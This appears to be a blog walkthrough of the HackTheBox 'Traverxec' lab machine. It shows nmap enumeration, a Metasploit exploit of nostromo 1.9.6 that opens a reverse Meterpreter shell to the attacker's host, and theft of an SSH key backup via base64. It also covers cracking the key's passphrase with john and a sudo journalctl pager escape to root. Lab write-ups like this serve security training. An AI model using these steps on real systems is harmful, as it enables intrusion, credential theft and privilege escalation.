Posts Hackthebox Traverxec
Post
Cancel

Hackthebox Traverxec

Desktop View

This post provides a walkthrough of the Traverxec system on HackTheBox. It is an easy linux machine. User part is basic enumeration. Root part is a strange :)

nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
kali@0xOE:~/Desktop|⇒  nmap -sS -sC -sV -oA traverxec 10.10.10.165
Nmap scan report for 10.10.10.165
Host is up (0.16s latency).
Not shown: 998 filtered ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u1 (protocol 2.0)
| ssh-hostkey: 
|   2048 aa:99:a8:16:68:cd:41:cc:f9:6c:84:01:c7:59:09:5c (RSA)
|   256 93:dd:1a:23:ee:d7:1f:08:6b:58:47:09:73:a3:88:cc (ECDSA)
|_  256 9d:d6:62:1e:7a:fb:8f:56:92:e6:37:f1:10:db:9b:ce (ED25519)
80/tcp open  http    nostromo 1.9.6
|_http-server-header: nostromo 1.9.6
|_http-title: TRAVERXEC
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Apr  9 15:16:49 2020 -- 1 IP address (1 host up) scanned in 25.21 seconds

Services are http and ssh. First thing that caught my eye was the nostromo 1.9.6. I use searchsploit output like that. Desktop View and metasploit to search ;

1
2
3
4
5
6
7
8
9
10
msf5 > search  nostromo 1.9.6

Matching Modules
================

   #  Name                                       Disclosure Date  Rank    Check  Description
   -  ----                                       ---------------  ----    -----  -----------
   0  exploit/multi/http/nostromo_code_exec      2019-10-20       good    Yes    Nostromo Directory Traversal Remote Command Execution
   1  exploit/windows/ftp/absolute_ftp_list_bof  2011-11-09       normal  No     AbsoluteFTP 1.9.6 - 2.2.10 LIST Command Remote Buffer Overflow

We have a Nostromo Directory Traversal Remote Command Execution module. We can use this module or python script. I use metasploit module.

1
2
3
use exploit/multi/http/nostromo_code_exec
set RHOST 10.10.10.165
set LHOST 10.10.14.26
1
2
3
4
5
6
7
8
9
10
11
12
13
14
msf5 exploit(multi/http/nostromo_code_exec) > exploit 

[*] Started reverse TCP handler on 10.10.14.26:4444 
[*] Configuring Automatic (Linux Dropper) target
[*] Sending linux/x64/meterpreter/reverse_tcp command stager
[*] Sending stage (3021284 bytes) to 10.10.10.165
[*] Command Stager progress - 100.00% done (823/823 bytes)
[*] Meterpreter session 1 opened (10.10.14.26:4444 -> 10.10.10.165:41560) at 2020-04-09 15:34:39 +0300
meterpreter > shell
Process 1016 created.
Channel 1 created.
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

In this command you can use interactive shell.

1
python -c "import pty;pty.spawn('/bin/bash')"

While investigating what’s on the machine I found this file nhttpd.conf .

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
www-data@traverxec:/var/nostromo/conf$  cat nhttpd.conf                                        
 cat nhttpd.conf                               
# MAIN [MANDATORY]                             

servername              traverxec.htb          
serverlisten            *                      
serveradmin             david@traverxec.htb    
serverroot              /var/nostromo          
servermimes             conf/mimes             
docroot                 /var/nostromo/htdocs   
docindex                index.html             

# LOGS [OPTIONAL]                              

logpid                  logs/nhttpd.pid        

# SETUID [RECOMMENDED]                         

user                    www-data               

# BASIC AUTHENTICATION [OPTIONAL]              

htaccess                .htaccess              
htpasswd                /var/nostromo/conf/.htpasswd                                           

# ALIASES [OPTIONAL]                           

/icons                  /var/nostromo/icons    

# HOMEDIRS [OPTIONAL]                          

homedirs                /home                  
homedirs_public         public_www             

I found the user of david and access this directory /home/david/public_www/ in this directory I found protected-file-area folder. In this folder we can see backup-ssh-identity-files.tgz file.

Desktop View

I can take this file backup-ssh-identity-files.tgz with using base64. Encoding file after that decoding own machine.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
www-data@traverxec:/home/david/public_www/protected-file-area$  base64 backup-ssh-identity-files.tgz            
H4sIAANjs10AA+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rciH6sMoRFFYj3mxCr8zoz8w3XS6A8O0y4xPKsbNzRZH3vVBds
Mp0nVIv0rOC3OtfgTH8VToU/eXl+JhaeR5+Ja+pwZ885cLEgqV9sOL2z980ytld9cr8/naK4ronU
pOjDYVkbMcz1NuG0M9zREGPuUJfHsEa6y9kAKjiysZfjPJ+a2baPreUGga1d1TG35A7mL4R9SuII
FBvJDLdSdqgqkSnIi8wLRtDTBHhZ0NzFK+hKjaPxgW7LyAY1d3hic2jVzrrgBBD3sknSz4fT3irm
6Zqg5SFeLGgaD67A12wlmPwvZ7E/O8v+9/LL9d+P3Rx/vxj/0fmPwL7Uf19+F7zrvz+A9/nvr33+
e/PmzZs3b968efPmzZs3b968efPmzf8vfweR13qfACgAAA==

Decoding and extract file.

1
2
3
4
5
6
7
kali@0xOE:~/Desktop|⇒ echo "in here base64 data" | base64 -d > traverxec.tgz

kali@0xOE:~/Desktop|⇒  tar -xvf traverxec.tgz 
home/david/.ssh/
home/david/.ssh/authorized_keys
home/david/.ssh/id_rsa
home/david/.ssh/id_rsa.pub

We have an id_rsa key. We can crack this key with using john. But first we need to modified id_rsa. For this we should use ssh2john.py script.

1
 python /usr/share/john/ssh2john.py  id_rsa > id_rsa.hash

Desktop View

password:hunter now we can access the machine.

Desktop View

User Flag

Desktop View

Privilege Escalation

In bin directory ;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
david@traverxec:~/bin$ ls
server-stats.head  server-stats.sh
david@traverxec:~/bin$ cat server-stats.head 
                                                                          .----.
                                                              .---------. | == |
   Webserver Statistics and Data                              |.-"""""-.| |----|
         Collection Script                                    ||       || | == |
          (c) David, 2019                                     ||       || |----|
                                                              |'-.....-'| |::::|
                                                              '"")---(""' |___.|
                                                             /:::::::::::\"    "
                                                            /:::=======:::\
                                                        jgs '"""""""""""""' 

david@traverxec:~/bin$ cat server-stats.sh 
#!/bin/bash

cat /home/david/bin/server-stats.head
echo "Load: `/usr/bin/uptime`"
echo " "
echo "Open nhttpd sockets: `/usr/bin/ss -H sport = 80 | /usr/bin/wc -l`"
echo "Files in the docroot: `/usr/bin/find /var/nostromo/htdocs/ | /usr/bin/wc -l`"
echo " "
echo "Last 5 journal log lines:"
/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service | /usr/bin/cat 

Basically we see that server-stats.head file only gives a head and some information about server. In server-stats.sh the last line of the script is the most important, first it works with sudo, then journalctl, that is journalctl root privileges, so if we can check journalctl, we have root privileges. However, we cannot change any parameters. When running anything other than sudo journalctl -n5 -unostromo.service, a password will be required. GTFOBins helps us about journalctl.

When running /usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service , shrink the window a little bit, and then enter !/bin/sh to successfully gain root permissions;

Desktop View

Root Flag

Desktop View

Desktop View

This post is licensed under CC BY 4.0

Trending Tags

Contents

Trending Tags